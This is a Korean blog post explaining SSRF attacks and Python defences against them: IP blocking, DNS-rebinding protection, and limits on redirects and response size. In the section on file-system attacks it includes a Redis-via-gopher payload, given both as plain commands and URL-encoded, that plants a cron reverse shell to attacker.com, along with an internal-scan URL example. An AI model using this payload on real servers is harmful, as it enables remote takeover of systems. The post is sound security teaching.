[TIL] SSRF 취약점

cjkangme·약 16시간 전

TIL

목록 보기
44/44
post-thumbnail

SSRF(Server-Side Request Forgery) 취약점

SSRF는 말 그대로 서버가 보내는 요청을 위조하는 취약점입니다.

서버가 요청을 보내는 이유는 다양한데요, 사용자의 요청을 처리하기 위해 다른 서버에 요청을 보내서 데이터를 얻어야 한다던가, 이미지나 파일을 가져오기 위해 AWS 등 외부 클라우드에 접근해야 한다던가 하는 경우가 있습니다.

SSRF는 이 때 서버가 요청을 보내는 URL을 변조해서 직접적으로 접근할 수 없는 서버 내부 데이터를 유출시키거나 서버의 오동작을 유발하는 공격입니다.

즉 어떤 형태로든 외부(클라이언트)에서 서버가 요청을 보내는 URL을 바꿀 수 있다면 SSRF 취약점이 노출된 상태가 됩니다.

youtube video downloader service page
대표적으로 이렇게 외부에서 아예 URL을 입력할 수 있는 경우가 포함됩니다.

chatgpt
최근에는 이렇게 web fetch tool이 탑재된 에이전트에 특정 페이지를 방문하도록 유도할 수도 있습니다.

SSRF가 끼치는 피해

SSRF는 외부에서 접근할 수 없는 내부 자원들에까지 추가 공격이 가능하기 때문에 한 번의 공격이 매우 치명적일 수 있습니다.

서버 데이터 유출

1. 인증 토큰 탈취

AWS/Azure 같은 클라우드가 서버와 통신할 때, 인증키를 기반으로 통신하는 경우가 많습니다.
이 때 클라우드에 보낼 요청의 URL을 SSRF로 자신의 서버로 변조할 수 있다면 공격자가 클라우드에 보내는 인증정보를 그대로 탈취할 수 있게 됩니다.

Capital One example
출처: https://dl.acm.org/doi/full/10.1145/3546068

1억건 이상의 데이터 탈취가 발생한 Capital One 사례도 여기에 해당합니다.

2. 파일 시스템/로컬 서비스 접근

ftp://, gopher://, file:// 과 같이 파일 시스템/로컬 서비스에 직접 접근하는 요청 프로토콜을 서버가 요청하게 하는 공격도 있습니다.

예를 들어

flushall
set 1 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2458%0D%0A%0A%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fattacker.com%2F4444%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

이렇게 리버스 쉘을 생성하는 명령어를 URL로 인코딩 하여 서버가 요청을 보내게하는 공격도 가능합니다.

3. 내부 스캔

http://yourserver.com/fetch?url=http://192.168.1.10:8080/admin
이렇게 서버의 내부 서비스로 요청을 보내게 하는 공격입니다.

만약 192.168.1.10:8080에 admin이란 서비스가 없다면 즉시 404가 반환되어 응답속도가 매우 빠를 것이지만 IP 주소를 바꾸거나, 포트를 바꿔가면서 재시도하다 응답속도가 오래걸리는 조합이 발견되면 공격자는 해당 내부 서버 + 포트에 내부 자원이 있음을 알게 됩니다.

서버 오작동 유발

1. 악성 페이로드 다운로드 유도

서버가 요청의 응답을 파싱하거나 파일로 저장한다면 악성 코드가 심어진 페이지로 URL을 변조해 서버에서 실행/저장하게 할 수 있습니다.

2. DoS

요청에 대해 매우 큰 binary나 압축 폭탄, Slowloris 같은 방식을 이용해 서버를 죽게 할 수 있습니다.

SSRF 방어

만약 http 요청을 서버에서 직접 보내는 코드가 있다면 외부에서 접근할 수 있든 없든 안전하게 SSRF 공격을 방어하는 로직을 넣는게 좋습니다.

1. 스키마 제한

def _default_port_for_scheme(scheme: str) -> int:
    return 443 if scheme == "https" else 80

https, http를 제외한 gopher 등의 프로토콜을 차단합니다

2. 위험한 IP 접근 차단

import ipaddress
import socket

def _is_blocked_ip(ip: ipaddress.IPv4Address | ipaddress.IPv6Address) -> bool:
    """True if ``ip`` should be refused for SSRF safety.
    """
    return not ip.is_global or ip.is_multicast


def safe_resolve_address(hostname: str) -> list[str]:
    try:
        infos = socket.getaddrinfo(hostname, None)
    except socket.gaierror:
        return None

    addresses: list[str] = []
    for *_, sockaddr in infos:
        addr_str = sockaddr[0]
        try:
            ip = ipaddress.ip_address(addr_str)
        except ValueError:
            continue
        if _is_blocked_ip(ip):
            return None
        addresses.append(str(ip))
    if not addresses:
        return None
    return addresses

python의 내장 모듈인 ipaddress, socket으로 해당 URL이 위험한 IP 주소에 접근하려는지 검증이 가능합니다.

ip.is_global은 내부망, 루프백 주소, 169.254.169.254(AWS/Azure IMDS 자격증명) 등의 특수 목적 대역인 IP 주소에 대해 False를 반환합니다.

socket.getaddrinfo는 hostname으로부터 해당 호스트에 접근하기 위한 소켓 정보를 제공하는데 이로부터 실제 IP 주소를 획득할 수 있습니다.

3. DNS Rebinding (TOCTOU) 방어

IP가 유효하다고 하더라도, safe_resolve_address로 IP를 검증한 뒤 requests.get(url)처럼 hostname으로 요청을 보내면, HTTP 라이브러리가 DNS를 다시 조회합니다.

이때 공격자가 TTL을 0으로 설정한 DNS 서버를 운영하고 있다면 검증 때 파악했던 IP와 다른 IP(공격용 IP)로 DNS 결과를 반환할 수 있습니다.

때문에 요청은 반드시 url이 아닌 검증한 IP로 접근해야 합니다.

ip = safe_resolve_address(hostname)[0]
# IP로 직접 요청하고, TLS 검증을 위해 Host 헤더만 hostname으로
resp = requests.get(f"https://{ip}/path",
                    headers={"Host": hostname},
                    verify=...)

위 예시는 단순한 예시이고, 실무에서는 curl_cffi, httpx 같은 라이브러리를 이용해 trasport 커스터마이징을 하는 것이 안전합니다.

4. 리다이렉트 방어, 타임아웃 설정, 컨텐츠 크기 제한

_TOTAL_TIMEOUT_SECONDS = 15.0
_PER_HOP_TIMEOUT_SECONDS = 5.0
_MAX_REDIRECTS = 3
_REDIRECT_STATUS_CODES = frozenset({301, 302, 303, 307, 308})
_MAX_RESPONSE_BYTES = 5 * 1024 * 1024

안전한 IP 주소라고 방심해서는 안됩니다.
처음 주소만 멀쩡한 주소로 속이고 해당 주소가 301 등의 위험한 IP 주소로의 redirect 응답을 반환할 수 있기 때문입니다.
또는 앞서 언급한 DoS 위험이 있을 수 있습니다.

이를 위해 요청 시에는 응답을 그대로 사용하지 않고 리다이렉트 검증, Timeout, 최대 응답 크기를 설정하여 매번 검증해야 합니다.

0개의 댓글